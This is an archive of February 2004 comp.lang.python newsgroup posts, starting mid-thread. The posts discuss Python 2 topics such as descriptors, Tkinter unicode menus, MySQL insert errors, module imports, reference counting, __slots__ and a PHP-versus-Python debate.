> ... 
> >>> instance = callable()
> >>> def meth(self): print self
> ... 
> >>> foo.meth = meth
> >>> foo.instance = instance
> >>> f = foo()
> >>> f
> <__main__.foo instance at 0x815fa64>
> >>> f.meth()
> <__main__.foo instance at 0x815fa64>  # self == f  
> >>> f.instance()
> <__main__.callable instance at 0x815f624>  # self != f
> >>> f.meth
> <bound method foo.meth of <__main__.foo instance at 0x815fa64>>
> >>> f.instance
> <__main__.callable instance at 0x815f624>  # Hmm, it's not a method
> >>> 
> 
> meth behaves like a Python method, instance does not.

Ah, ok.  To make it behave like a method, you need to make it a
descriptor, i.e. implement __get__ (and make everything in sight
new-style classes, of course).

> > > [At this point I'd love someone to step up and show me how to re-use
> > > the existing FunctionType descriptors in my own classes.]
> > 
> > Post some code, and I'll have a go.
> 
> Find some way of making callable [from above] use
> types.FunctionType.__get__.

I don't think I can do *that*:
import types

class foo(object):
    pass

class Callable(object):
    __get__ = types.FunctionType.__get__

foo.inst = Callable()

print foo.inst

yields:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/tmp/python-10511jfs.py", line 11, in ?
    print foo.inst
TypeError: descriptor '__get__' requires a 'function' object but received a 'Callable'

but you can do something nearly equivalent:

import types

class foo(object):
    pass

class Callable(object):
    def __init__(self): # wonder why this is needed:
        self.__name__ = 'Callable'
    def __call__(self, ob):
        return ob
    def __get__(self, ob, cls=None):
        return types.UnboundMethodType(self, ob, cls)
    
foo.inst = Callable()

print foo.inst
print foo().inst()

(needs 2.3, for 2.2 use new.instancemethod instead).

> I don't see what code examples could possibly help in specifying the
> problem more clearly (unless the code is the solution, of course).
> 
> But please don't bother unless you really want to do it for your own
> entertainment. 

Well, I've signed up to give a talk on new-style classes at Python-UK,
so I'd hope not to have to work too hard for this :-)

[...]
> > > In short, whenever I want a _function_ which happens to have some
> > > internal state, I'd much rather use a closure than an instance of a
> > > class.
> > 
> > Maybe, once you've been assimilated into the Python Borg mindset, you
> > don't, actually.
> 
> Aaah, this thread is an attempt to assimilate me :-)  Now I understand.

Damn, you noticed.

> > There are sort of two extreme possibilities here:
> > 
> > 1) I am so blinded by the fact that I know Python as of 2.3 FAR better
> >    than any other language that I don't see how wonderful Python would
> >    be if "full closures" were added.
> > 
> > 2) Full closures just aren't that appropriate to Pythonic programming.
> > 
> > The truth, almost certainly, is somewhere in between these points.
> 
> An excellent summary, which, in my opinion says all that remains to be
> said in this thread.
> 
> And, with that, I take my leave. I bid you a good day, gentlemen.

And to you!

Cheers,
mwh

-- 
  It's actually a corruption of "starling".  They used to be carried.
  Since they weighed a full pound (hence the name), they had to be
  carried by two starlings in tandem, with a line between them.
                 -- Alan J Rosenthal explains "Pounds Sterling" on asr


From aahz at pythoncraft.com  Thu Feb  5 08:46:04 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 08:46:04 -0500
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
	<bvrgdn$t76$1@panix1.panix.com>
	<246a4e07.0402042327.5192034a@posting.google.com>
	<1024d7q40b86r2a@news.supernews.com>
Message-ID: <bvthes$ne1$1@panix2.panix.com>

In article <1024d7q40b86r2a at news.supernews.com>,
John Roth <newsgroups at jhrothjr.com> wrote:
>
>I believe the memory overhead for dictionaries is 4 times that for
>lists on a per item basis, however both data structures allocate
>extra space so that they don't have to reallocate too frequently
>(a very expensive operation.)

Should be only double; where do you get four times?  (Note that I'm
talking strictly about the dict itself, not the space consumed by the
keys.)
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From PPNTWIMBXFFC at spammotel.com  Tue Feb 24 15:37:08 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 24 Feb 2004 12:37:08 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
Message-ID: <15c2d03b.0402241237.708cb4e8@posting.google.com>

> I think you should spend a bit of time reading the PEPs... 
> what you say has been discussed previously, 
> then see where your thoughts lead you.

I will do that.

> Forget the speed and memory difference. The main argument for tuples as a 
> separate type are to use as dictionary keys. How do you propose to handle 
> dictionary keys without tuples?

Maybe I don't get the point here: Why do dictionaries need tuples to
work? I know that tuples can be used as keys... but how many times do
you need tuples as dictionary keys (it would be simple to turn a list
into an immutable string if really needed ("::".join(["a","b"]). But
maybe tuples are used within dictionary in a way I don't know. If you
could clarify on this point I will never ever say anything about
"useless" tuples... instead I will start asking for "immutable
dictionaries" 8o)


> > A list, a dictionary, a str, an int, a float are builtin functions...
> 
> No they aren't. They are types, not functions.

functions... types... classes... simplicity at its best. But then it
was stated I am a very un-pythonic thinker.

> > The list-function instantiates a new list... it is actually nothing
> > but an overloaded List class. Why are the handed in as functions? In a
> > OO environment it should be more the instatiation of a class rather
> > than a function and classes start with an uppercase letter:
> > 
> > myList = List()
> > myDict = Dict()
> > myString = String(45)
> > 
> 
> So they don't follow your naming convention.

Well, yeah, this is true and isn't. It is true that there is no rule
how to name a class. To me a list / dict / string is a (basic) class
(you take about types - the manuals does also) but why introduce new
words, when the class-idiom is enough to explain everything. You want
a list, well instantiate a list class --> list = List().
What is easier to explain: If you want to create an object some kind,
you need a class which starts with an uppercase letter. Or do you
rather like to explain: well, if you want a list or dictionary you use
list() or dict() but if you want an attribute error object you use:
AttributeError(). Whenever you want an object, you check the manuals
to see, whether you need upper- or lower-class instantiation. 8o)
It is true, no one tells you that class names have to start with
uppercase letter (and I could create an alias). But look into the
standard library and you will find that my naming scheme for classes
prevails. Intuition tells me hence: I want a list instance therefore I
need to call the _L_ist-Class. And yes, talking about the
_f_ile-function/class/type... that returns a "file-object": I would
write it with a leading uppercase letter: I want to instantiate a
file-object hence I need to new a _F_ile-class.
I am well aware that it wasn't possible to derive a List / Dict / ...
until lately. Most probably the distinction between types and classes
stems from this time.


Anyway, I see that my "feedback" was very unreflected. These were
thoughts I had while learning and it was wrong to mention them so
unprocessed. Without consulting the PEP, reading comp.lang.python
discussions...

Sorry,
Marco


From eric.brunel at N0SP4M.com  Tue Feb 24 07:15:18 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Tue, 24 Feb 2004 13:15:18 +0100
Subject: Tkinter: unicode inconsistency on Windows
Message-ID: <c1fepj$rkv$1@news-reader4.wanadoo.fr>

Hi all,

I'm in the process of localizing a Tkinter application and I'm struggling with a 
problem for which I can't figure out a solution. The following code:

-------------------------------
from Tkinter import *

root = Tk()
root.tk.call('encoding', 'system', 'utf-8')
mb = Menu(root)
root.configure(menu=mb)
m = Menu(mb)
## s1 is UTF8 japanese for hi.ra.ga.na
s1 = '\xe3\x81\xb2\xe3\x82\x89\xe3\x81\x8c\xe3\x81\xaa'
mb.add_cascade(label=s1, menu=m)
## s2 is UTF8 japanese for KA.TA.KA.NA
s2 = '\xe3\x82\xab\xe3\x82\xbf\xe3\x82\xab\xe3\x83\x8a'
m.add_cascade(label=s2)

root.mainloop()
-------------------------------

works perfectly well on Unix (Linux Mandrake 8.0), but not on Windows 2k: the 
menu item is correctly displayed as japanese katakana characters, but the menu 
title is displayed incorrectly in a way that looks like a wrong encoding has 
been used. I tried to explicitely pass unicode strings to Tkinter methods 
(unicode(s?, 'utf-8')) and/or to force the system encoding at tcl/tk's level via 
root.tk.call('encoding', 'system', 'utf-8'), but nothing seems to help.

AFAICS, the menu bar accepts only titles encoded in latin1; any other encoding 
ends up messed up.

So I'm stuck: I can't find any way to display menu titles in anything else than 
latin1 under Windows. Here are the versions I use:
  - Python 2.1.1
  - tcl/tk 8.3.2
  - Windows 2k, french version if it changes anything

TIA
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From michele.simionato at poste.it  Sun Feb 29 05:16:26 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 29 Feb 2004 02:16:26 -0800
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<m3hdxb6rwg.fsf@pc150.maths.bris.ac.uk>
	<6O40c.5969$qX5.1972@nwrdny03.gnilink.net>
Message-ID: <95aa1afa.0402290216.18ee8000@posting.google.com>

"Chris" <feb04.20.netman at spamgourmet.com> wrote in message news:<6O40c.5969$qX5.1972 at nwrdny03.gnilink.net>...
> I tried a couple variation of that, and __getattr__, when defined in a
> metaclass is never called when accessing an attribute on an instance of a
> class derived from that metaclass.

You may also look at this bug report:

http://sourceforge.net/tracker/?group_id=5470&atid=105470&func=detail&aid=789262

The special lookup of special attributes has bitten at least three or four
person on this mailing list in the last year or so: I maintain that
it is a documentation bug.

        Michele Simionato


From mk at net.mail.penguinista  Wed Feb 18 08:08:52 2004
From: mk at net.mail.penguinista (=?UTF-8?B?0LTQsNC80ZjQsNC9INCzLg==?=)
Date: Wed, 18 Feb 2004 14:08:52 +0100
Subject: my notes for playing DVDs on VIA C3 system (Freevo/MPlayer)
References: <m4u9g1-523.ln1@jowls.lairds.org>
Message-ID: <403363e4@news.mt.net.mk>


> There's a version of Xine in the works that takes advantage of
> the hardware MPEG decoder on this VIA miniITX system I'm using,
> but for now MPlayer with VESA output is dandy.  I fired up Freevo
> and was pleased to see it find the DVD in the "Watch movies"
> section.  I selected it and got MPlayer with (slow) X11 output.
> 
> No problem, right?  Digging through some source, I decided to add
> MPLAYER_AO_DEV       = 'oss'
> MPLAYER_VO_DEV       = 'vesa'
> to my configuration.  Now when I started DVD playback, I got a
> fraction of a second of sound and then MPlayer died, returning me
> to Freevo.

Probably you were trying to start Mplayer to use the framebuffer while X11
is running (does Freevo use X11) .. that should not work...


-- 
??????                                  (jabberID:damjan at bagra.net.mk)

      Jesus saves, but only Buddha makes incremental backups


From wweston at att.net  Tue Feb 24 09:20:04 2004
From: wweston at att.net (wes weston)
Date: Tue, 24 Feb 2004 14:20:04 GMT
Subject: error in inserting a longblob data
In-Reply-To: <f046efac.0402240525.2303fff6@posting.google.com>
References: <f046efac.0402240525.2303fff6@posting.google.com>
Message-ID: <o4J_b.84263$hR.1709926@bgtnsc05-news.ops.worldnet.att.net>

ketulp_baroda at yahoo.com,

    Is it possible that the error is caused by a string
that has an ' in it? Thus yielding something like
'abc'xyz' - a string with an embedded '. The listed
're looks suspecious; like it was the end of you're
maybe.

wes

ketulp_baroda at yahoo.com wrote:
> Hi
> I am storing the attachment in the database. For some file the data
> gets stored in the database but for other files it gives a MySql
> error. For eg. when I am trying to attach the file say foo.txt it gets
> stored in database correctly whereas the file bar.txt gives an error.
> The error given is:
> 
> 
> Traceback (most recent call last):
>   File "fakeloginserver.py", line 567, in _doRequest
>     _handleRequest(_wfile)
>   File "fakeloginserver.py", line 812, in _handleRequest
>     response.body=_theMethod(**(request.paramMap))
>   File "fakeloginserver.py", line 92, in invokeAddAttachment
>     add.addAttachment(v,filename,values)
>   File "C:\Python23\Lib\site-packages\cherrypy\code\Attachment_Model.py",
> line 26, in addAttachment
>     n=cursor.execute("insert into attachments
> values('%s','%s','%s','%s','%s','%s','%s','%s','%s')"
> %(Attachment_Model.projectid[0],values['issueid'],attachID,datetime,values['attachmentdescription'],contenttype,filename,values['attachmentpath'],submitterID))
>   File "C:\PYTHON23\Lib\site-packages\MySQLdb\cursors.py", line 95, in
> execute
>     return self._execute(query, args)
>   File "C:\PYTHON23\Lib\site-packages\MySQLdb\cursors.py", line 114,
> in _execute
>     self.errorhandler(self, exc, value)
>   File "C:\PYTHON23\Lib\site-packages\MySQLdb\connections.py", line
> 33, in defaulterrorhandler
>     raise errorclass, errorvalue
> ProgrammingError: (1064, "You have an error in your SQL syntax.  Check
> the manual that corresponds to your MySQL server version for the right
> syntax to use near 're just getting started with CherryPy, read the
> tutorial (in do")
> 
> 
> values['attachmentpath'] contains the file data.
> The data type of the file data is LONGBLOB in MySql.
> I am not getting why it works for some file but not for others.How can
> I make it work for all files??



From ivoras at __geri.cc.fer.hr  Mon Feb 16 16:35:32 2004
From: ivoras at __geri.cc.fer.hr (Ivan Voras)
Date: Mon, 16 Feb 2004 22:35:32 +0100
Subject: python memory usage
In-Reply-To: <c0q354$p0f$1@swifty.westend.com>
References: <c0q354$p0f$1@swifty.westend.com>
Message-ID: <c0rd30$ddn$1@bagan.srce.hr>

Peter Maas wrote:

> But python (contrary to perl) starts an interactive interpreter which
> doesn't matter when executing scripts. To get rid of it I created
> a fifo (mknod xxx p) and started all programs with 'prog xxx'.

Why didn't you just make a python script that does nothing (maybe 
something like "while 1: pass")?

> The result:
> 
> CMD               RSS   VSZ
> perl              892  2736
> python            544  2424
> tclsh8.3         1100  2316
> 
> The fifo keeps Python in working memory but since the input isn't
> a tty, the interactive interpreter isnt't started. Is this a
> reasonable comparison or did I miss something?

It cold be ok, but the second rss number seems a bit low. Here (Python 
2.3, FreeBSD 4.9) it looks like this:

tty-interpreter mode:                      rss: 2684, vsz: 3460
running the one-lined empty loop script:   rss: 2212, vsz: 2992
"running" an disconnected fifo:            rss: 1296, vsz: 1992


From peter at engcorp.com  Wed Feb 18 12:50:00 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 12:50:00 -0500
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<2c60a528.0402180839.50410ffe@posting.google.com>
Message-ID: <4033A5C8.283E688@engcorp.com>

Andrew Clover wrote:
> 
> Andrew Koenig <ark at acm.org> wrote:
> 
> >     while:
> >         x = foo()
> >     and while x != 0:
> >         bar(x)
> 
> This is the best syntax I've seen suggested so far. Tentatively +1
> (shouldn't cause any parser difficulties should it?); the lack of new
> keywords is a plus too.

So 
    while: 

is a synonym for 

    while 1:

in the above, and the line

    and while x != 0:

line is basically a synonym for 

    if x == 0: break

but with the added disadvantages of requiring a syntax change, using
negative logic, and messing with the indentation philosophy in a 
non-intuitive way.

Great.

-Peter


From thoaan at stud.cs.uit.no  Wed Feb 25 04:43:42 2004
From: thoaan at stud.cs.uit.no (Thomas Aanensen)
Date: Wed, 25 Feb 2004 10:43:42 +0100
Subject: Locate python home
References: <c1ho3e$2g8h$1@news.uit.no> <c1hp3a$71e$1@swifty.westend.com>
Message-ID: <c1hqsb$2h4v$1@news.uit.no>

> import sys
> print sys.executable

Thanks, but there is still one problem:

This leads to the path C:\python\Python23\pythonw.exe. In my application I
cannot use pythonw.exe, I need python.exe (console reasons). Is there some
way to get this instead?

If not, would it be ok to assume that python.exe will always reside in the
same directory as pythonw.exe?


Thomas




From peter at engcorp.com  Mon Feb 23 09:04:59 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 09:04:59 -0500
Subject: How do I access Python's dictionary of all global variables?
References: <c9d82136.0402210903.7cbf2335@posting.google.com>
	<c1883b$lum$1@news.service.uci.edu>
Message-ID: <403A088B.840F7141@engcorp.com>

Josiah Carlson wrote:
> 
> Cameron already dealt with globals, so I'll try to tackle this one.
> 
> > Is it possible to iterate through all variables in all scopes in all objects?
> 
> Quick answer: no
> 
> Long answer: you would need to get access to every object pointer in the
> entirety of the interpreter. 

For reference, this can be done using a debug build of the interpreter.
I don't recall the name of the function or even which module it was
in (sys or gc, presumably) but it was there.  (I think. :-)

-Peter


From jzgoda at gazeta.usun.pl  Fri Feb  6 15:07:45 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Fri, 6 Feb 2004 20:07:45 +0000 (UTC)
Subject: convert utf-8 to latin-1?
References: <bvtuur$hg$1@news.rz.uni-karlsruhe.de>
	<bvve85$vp2$06$2@news.t-online.com>
Message-ID: <c00s6h$ahn$1@nemesis.news.tpi.pl>

Martin v. L?wis <martin at v.loewis.de> pisze:

>> Currently I convert the returned, of what I'm pretty sure its a utf-8 string
>> object, to a normal string using the str() function. 
> 
> Try converting the object to a Unicode object. I don't know what you
> mean by "utf-8 string object"; Python has no such thing (but PyQt may).

Any "string value" is returned by PyQt as QString, which is "compatible
with UTF-8 strings", as Qt documentation states. In programming practice
this means that you can use str() only when you expect receiving pure
ASCII text. In any other case you should use unicode() to convert
QString to unicode object. This fairly means taht you should *always*
use unicode(). 

Unless you write software that is allowed to run only in US.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From FBatista at uniFON.com.ar  Wed Feb 11 10:56:09 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 12:56:09 -0300
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <A128D751272CD411BC9200508BC2194D033835E2@escpl.tcp.com.ar>

Richie Hindle wrote:

#- [Facundo]
#- > There is any case when f.close [...] has any effect?
#- 
#- class Test:
#-     def __getattr__(self, name):
#-         print "Nobody expects the %s!" % name
#- 
#- t = Test()
#- t.spanish_inquisition


And why is this useful?

In other words, what happen if the interpreter does not let you do
"t.spanish_inquisition"?

.	Facundo





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From garabik-news-2002-02 at kassiopeia.juls.savba.sk  Wed Feb 11 03:14:59 2004
From: garabik-news-2002-02 at kassiopeia.juls.savba.sk (Radovan Garabik)
Date: 11 Feb 2004 08:14:59 GMT
Subject: Non Parsed Headers in Python
References: <8089854e.0402102357.6d7b721e@posting.google.com>
Message-ID: <c0coa3$150qtg$1@ID-89407.news.uni-berlin.de>

Fuzzyman <michael at foord.net> wrote:
> How do I make a python CGI output whilst it is still running - how do
> I tell the server not to buffer the output ?

I am using sys.stdout.flush() at the appropriate place of script.
It works well

-- 
 -----------------------------------------------------------
| Radovan Garab?k http://melkor.dnp.fmph.uniba.sk/~garabik/ |
| __..--^^^--..__    garabik @ kassiopeia.juls.savba.sk     |
 -----------------------------------------------------------
Antivirus alert: file .signature infected by signature virus.
Hi! I'm a signature virus! Copy me into your signature file to help me spread!


From rynt at 9yahoo.com  Wed Feb  4 10:34:22 2004
From: rynt at 9yahoo.com (R Baumann)
Date: Wed, 4 Feb 2004 07:34:22 -0800
Subject: Modules, namespaces, parents, and import
References: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>
	<mailman.1186.1075877977.12720.python-list@python.org>
Message-ID: <102247ofva9do52@corp.supernews.com>


"Dietrich Epp" <dietrich at zdome.net> wrote in message
news:mailman.1186.1075877977.12720.python-list at python.org...

SNIP

>
> On Feb 3, 2004, at 10:28 PM, Dan Williams wrote:
>  If you import sys  directly, you don't have to retrieve it from 'parent'
every time, and
> no, this does not load additional code -- it just references the
> already loaded module.
>
I'm a newbie too.  Just to be perfectly clear about this, if you have a
half-dozen modules in an application, and you import Sys in everyone of
them, I am going to assume that Python will only load one instance of Sys.
When it hits the import statement to load Sys in the other modules, it knows
that Sys is already loaded and will simply create a link to the already
existing namespace?

Is there any way to unload a module after you're finished with it and will
absolutely no longer need it?

Thanks
Ruben




From aahz at pythoncraft.com  Wed Feb  4 16:22:26 2004
From: aahz at pythoncraft.com (Aahz)
Date: 4 Feb 2004 16:22:26 -0500
Subject: counting references to an instance
References: <pan.2004.02.04.18.55.02.385092.6672@sympatico.ca>
	<bvris7$hcd$1@panix1.panix.com>
	<pan.2004.02.04.21.00.59.322564.7241@sympatico.ca>
Message-ID: <bvrnqi$t3v$1@panix2.panix.com>

In article <pan.2004.02.04.21.00.59.322564.7241 at sympatico.ca>,
Brian  <balex at sympatico.ca> wrote:
>On Wed, 04 Feb 2004 14:57:59 -0500, Aahz wrote:
>> In article <pan.2004.02.04.18.55.02.385092.6672 at sympatico.ca>, Brian
>> <balex at sympatico.ca> wrote:
>>>
>>>Is it possible to get an object to return the number of references there
>>>are to itself?
>>>
>>>Ex:
>>>
>>>class test(object):
>>> pass
>>>
>>>a = test()
>>>b = a
>>>
>>># Should print "2", if I knew the name of the method. print a.refCount()
>> 
>> sys.getrefcount(a) will do the trick -- but it will print 3.  Can you
>> figure out why?
> 
>Does the instance of test contain a reference to itself?

Nope.  Robert Brewer's response explained it.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From fuka at fuxoft.cz  Sat Feb  7 18:02:19 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Sun, 08 Feb 2004 00:02:19 +0100
Subject: Basic 'import' problem
In-Reply-To: <c03o2l$j6q$1@news.service.uci.edu>
References: <c03aeb$12q8$1@ns.felk.cvut.cz> <c03i3f$3v4$03$1@news.t-online.com>
	<c03kmp$28u7$1@ns.felk.cvut.cz> <c03o2l$j6q$1@news.service.uci.edu>
Message-ID: <c03qor$306s$1@ns.felk.cvut.cz>

Josiah Carlson wrote:

> If the thread were up on google, I'd link it, a thread started with the 
> subject of "software design question".
> 
> What you want can be done in two ways.  Quoting myself from that thread, 
> there's the kludge:
> 
> main = someclass()
> import sys
> sys.modules['external'].main = main
> 
> 
> And there's the standard method:
> 
> import module1
> ...
> 
> class main:
>     def __init__(self, args...):
>         self.c1 = module1.class1(args...)
>         #where args... is the standard initialization for your class,
>         #              and any additional objects/methods that c1 needs
>         #              access to.
> 
> Pass what is needed.  If you can't pass what is needed when external 
> module classes are initialized, then set the attribute later.
> 
> c1instance.attribute = value

Thanks for that. It makes sense.

Now, if X.py imports Y.py and Y.py imports X.py, does this present any 
fundamental problems? (e.g. something get initizlized twice...)

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Fri Feb  6 06:18:47 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Fri, 06 Feb 2004 12:18:47 +0100
Subject: Create Unicode object problem
In-Reply-To: <8d5080f5.0402060159.39612a86@posting.google.com>
References: <8d5080f5.0402060159.39612a86@posting.google.com>
Message-ID: <40237816$0$314$e4fe514c@news.xs4all.nl>

Kathy wrote:
> Is there any way I can create a unicode object from the unicode code
> itself.
> I extract the code from a file and need to create a unicode object
> that represents the corresponding character.
> 
> So what i get from reading my file is a string containing for example
> the code 'u8c79' (Chinese character).

 >>> unichr(eval('u8c79'.replace('u','0x')))
u'\u8c79'


--irmen


From bart_nessux at hotmail.com  Fri Feb 27 18:12:20 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Fri, 27 Feb 2004 18:12:20 -0500
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
	<mailman.221.1077919048.8594.python-list@python.org>
Message-ID: <c1oio8$rfc$1@solaris.cc.vt.edu>

Dave Brueck wrote:

> Bart wrote:
>> Erik Johnson wrote:
>> > This is somewhat a NEWBIE question...
>> >
>> >     My company maintains a small RDBS driven website. We currently
>> >     generate
>> > HTML using PHP.  I've hacked a bit in Python, and generally think it is
>> > a rather cool language. I've done Perl and like it, there are a few
>> > features of PHP I like but overall am not too excited about it. I have
>> > found PHP's strtotime() function to be quite flexible and handy and we
>> > make liberal use of it.
>> >         6) All the other standard evangeslistic points about why Python
>> >         is
>> > better than <your favorite language here>, some of which may be valid
>> > to
> us,
>> > some probably not. To those that have used PHP: what am I potentially
> losing
>> > that Python really can't replace?
>> >
>> >     So, I'm hoping there are some people out there that actually have
>> >     some
>> > expereience with both Python & PHP and can give me some solid, informed
>> > advice about PHP vs. Python, in general and particularly on the
>> > following points: (NOT Python evangelism please: I've already heard
>> > most of it, I've espoused a pretty good dose myself - frankly, I'm
>> > willing to buy most of
> it,
>> > but I've got a serious business decision to make here).
>>
>> When it comes to dynamic, DB driven sites, PHP is the only way to go.
>> Python is not even close to being suited for this task. PHP claims to be
>> a general-purpose language, but I do not know anyone who uses it for
>> anything other than dynamic Web programming.
>>
>> A serious business decision? PHP would be the only winner here. You
>> should not even be considering another language for this, it borders on
>> stupidity.
> 
> What on earth?! Each is entitled to his or her own opinion, but this is a
> bit over the top. The OP would do well to search the Google archives as
> this topic has come up many times, and there are many who disagree with
> the above opinion. Even if in the end the OP decided to stick with PHP
> (personally I wouldn't), considering Python definitely does _not_ border
> on stupidity.
> 
> -Dave

Sorry, I disagree. As a business decision, it does border on stupidity. Why
contemplate doing something with Python that would be tedious and difficult
at best when PHP can do this task easily and quickly??? From a business
(read practical point of view) it's stupid. From a religious (Mac fanatic
like point of view), it makes sense.

The OP spoke of a DB driven dynamic Web site. One cannot think of such a
thing without naturally thinking of PHP... python should not even come to
mind for this task. Backend/server-side processing, sure, but not on the
frontend. Use the RIGHT tool for the job. Python isn't the right tool here.


From michael at foord.net  Sat Feb 21 11:10:11 2004
From: michael at foord.net (Fuzzyman)
Date: 21 Feb 2004 08:10:11 -0800
Subject: Python is too fast !
References: <8089854e.0402210039.5b761d0f@posting.google.com>
Message-ID: <8089854e.0402210810.63b8cdf0@posting.google.com>

michael at foord.net (Fuzzyman) wrote in message news:<8089854e.0402210039.5b761d0f at posting.google.com>...
[snip..]
> 
> I'm looking for another suggestion to 'waste time' - preferably in a
> 'non-processor-intensive' way, that returns control to the sytem for
> an instant ? (also preferably cross platform).
> 
> If you have a suggestion it would be helpful if you could e-mail it to
> me at fuzzyman AT atlantibots DOT org DOT uk as well as post it here -
> because I only have intermittent access to the net.
> 
> 

I think I was fooled by the fact that adding the print statement
seemed to free up the window. (It was originally only added as a
trace).

What I really wanted to do was to force the window to refresh - a bit
of googling on the subject (and a helpful email from Cameron Laird)
brought me to the Tk update() method which works great.

Unfortunately I can't FTP the code until Monday... but I'm very
pelased with it......

Fuzzy



> MANY THANKS
> 
> 
> Fuzzyman
> 
> http://www.voidspace.org.uk/atlantibots/pythonutils.html


From bruce_dodson at hotmail.com  Thu Feb 19 17:31:23 2004
From: bruce_dodson at hotmail.com (Bruce Dodson)
Date: Thu, 19 Feb 2004 18:31:23 -0400
Subject: AVPython on ArcGIS?
References: <c3835e5f.0402191224.9b5d076@posting.google.com>
Message-ID: <c13dg4$qmc$1@sea.gmane.org>

AVPython itself will not be ported to ArcGIS 8 or 9.
However, I have been working occasionally to make ArcObjects
accessible from Python.  I call it PyArcObjects.  I made
some progress, but also found some gotchas in the ArcObjects
typelibs.  All in all, this is a much more ambitious project
than AVPython, and will take longer to get right.

Considering some changes that are happening with ArcGIS 9,
that will probably make a better target platform than ArcGIS
8.

"Chris Fonnesbeck" <spam at fisher.forestry.uga.edu> wrote in
message
news:c3835e5f.0402191224.9b5d076 at posting.google.com...
> I know that AVPython was written to allow scripting in
ArcView 3.*,
> but I am wondering if this module works in ArcGIS 8.*? I
notice that
> the last release is quite old; has development ceased on
this project?
>
> Thanks,
> Chris
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>






From josecarlos at siadv.com  Thu Feb 19 08:16:21 2004
From: josecarlos at siadv.com (José Carlos)
Date: Thu, 19 Feb 2004 14:16:21 +0100
Subject: Listbox.append()
Message-ID: <c12cv4$lqi$1@nsnmrro2-gest.nuria.telefonica-data.net>

Hi.

How can i do to using a listbox.append(), it adds item in the first line.?

Regards
Jose.




From wweston at att.net  Wed Feb  4 14:43:23 2004
From: wweston at att.net (wes weston)
Date: Wed, 04 Feb 2004 19:43:23 GMT
Subject: Best way to control assignment to attribute?
In-Reply-To: <bvrgi3$1n6$1@panix1.panix.com>
References: <246a4e07.0402040712.2cd34d65@posting.google.com>
	<XF9Ub.175053$6y6.3406052@bgtnsc05-news.ops.worldnet.att.net>
	<bvrgi3$1n6$1@panix1.panix.com>
Message-ID: <vXbUb.55174$6O4.1637541@bgtnsc04-news.ops.worldnet.att.net>

Aahz,
     He might be more interested in naming his class vars
with two leading underscores. eh? This mangles the name
making it not as it appears in the text and not accessible
by the expressed name. Does not the __slots__ statement
keep "you" from creating a new unintended class var?
wes

Aahz wrote:
> In article <XF9Ub.175053$6y6.3406052 at bgtnsc05-news.ops.worldnet.att.net>,
> wes weston  <wweston at att.net> wrote:
> 
>>Frank Millman wrote:
>>
>>>I want to control the assignment of a value to an attribute. Instead
>>>of allowing it to be changed directly, I want to enforce that a method
>>>is called, which will perform the assignment subject to various
>>>checks.
>>
>>   See __slots__; not sure if there's a newer/better way.
> 
> 
> You should be certain before even thinking of suggesting __slots__.
> __slots__ is intended only to save memory; there are many problems with
> using it if you don't know what you're doing.



From http  Sat Feb 28 04:41:43 2004
From: http (Paul Rubin)
Date: 28 Feb 2004 01:41:43 -0800
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
	<7x4qtcozv5.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280017.5f8af771@posting.google.com>
Message-ID: <7xd67zsfqg.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> >  I proposed a standard block cipher API and wrote a
> > sample implementation last year,
> 
> I like that API.  I wonder if there's any performance issues in
> separating the codebook from the mode-of-operation, but I haven't
> thought about that much.

If needed, the C-level API can be expanded so codebook modules have a
way to communicate directly with the modes-of-operation module,
without needing to do Python attribute lookups all the time.  But even
without that optimization, I don't think the performance issues should
be so bad.  The attribute lookup shouldn't be any slower than a
codebook call, so if you do it just once when you invoke a chaining
mode, the overhead for large buffers should be minimal.

> Yeah, I thought things were pretty liberalized these days.  US Export
> isn't a problem.  I guess a few countries still have import issues,
> but providing a no-crypto distribution that omits a few modules seems
> like it would take care of that.

I think that got debated at some length, but I wasn't around for it.

